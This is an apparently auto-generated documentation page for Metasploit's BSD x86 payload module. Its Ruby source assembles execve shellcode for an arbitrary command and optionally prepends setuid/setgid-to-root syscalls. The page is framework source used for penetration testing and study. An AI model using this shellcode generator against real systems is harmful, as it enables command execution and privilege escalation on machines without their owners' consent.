Module: Msf::Payload::Bsd::X86

Included in:
Msf::Payload::Bsd
Defined in:
lib/msf/core/payload/bsd/x86.rb

Instance Method Summary collapse

Instance Method Details

#bsd_x86_exec_payloadObject


10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# File 'lib/msf/core/payload/bsd/x86.rb', line 10

def bsd_x86_exec_payload
  cmd_str   = datastore['CMD'] || ''
  # Split the cmd string into arg chunks
  cmd_parts = Shellwords.shellsplit(cmd_str)
  # the non-exe-path parts of the chunks need to be reversed for execve
  cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
  arg_str = cmd_parts.map { |a| "#{a}\x00" }.join

  payload = ''

  # Stuff an array of arg strings into memory
  payload << "\x31\xc0"                          # xor eax, eax  (eax => 0)
  payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
  payload << arg_str
  payload << "\x5B"                              # pop ebx (ebx => &CMD_STR)

  # now EBX contains &cmd_parts[0], the exe path
  if cmd_parts.length > 1
    # Build an array of pointers to arguments
    payload << "\x89\xD9"                     # mov ecx, ebx
    payload << "\x50"                         # push eax; null byte (end of array)
    payload << "\x89\xe2"                     # mov edx, esp (EDX points to the end-of-array null byte)

    cmd_parts[1..-1].each_with_index do |arg, idx|
      l = [cmd_parts[idx].length+1].pack('V')
      # can probably save space here by doing the loop in ASM
      # for each arg, push its current memory location on to the stack
      payload << "\x81\xC1"                 # add ecx, ...
      payload << l                          # (cmd_parts[idx] is the prev arg)
      payload << "\x51"                     # push ecx (&cmd_parts[idx])
    end

    payload << "\x53"                         # push ebx (&cmd_parts[0])
    payload << "\x89\xe1"                     # mov ecx, esp (ptr to ptr to first str)
    payload << "\x52"                         # push edx
    payload << "\x51"                         # push ecx
  else
    # pass NULL args array to execve() call
    payload << "\x50\x50"                     # push eax, push eax
  end

  payload << "\x53"                             # push ebx
  payload << "\xb0\x3b"                         # mov al, 0x3b (execve)
  payload << "\x50"                             # push eax
  payload << "\xcd\x80"                         # int 0x80 (triggers execve syscall)

  payload
end

#handle_x86_bsd_opts(pre, app) ⇒ Object


59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# File 'lib/msf/core/payload/bsd/x86.rb', line 59

def handle_x86_bsd_opts(pre, app)
  if (datastore['PrependSetresuid'])
    # setresuid(0, 0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x66\xb8\x37\x01"     + #   movw    $0x0137,%ax                #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetreuid'])
    # setreuid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7e"             + #   movb    $0x7e,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetuid'])
    # setuid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x17"             + #   movb    $0x17,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetresgid'])
    # setresgid(0, 0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x66\xb8\x38\x01"     + #   movw    $0x0138,%ax                #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetregid'])
    # setregid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7f"             + #   movb    $0x7f,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetgid'])
    # setgid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\xb5"             + #   movb    $0xb5,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['AppendExit'])
    # exit(0)
    app << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x01"             + #   movb    $0x01,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end
end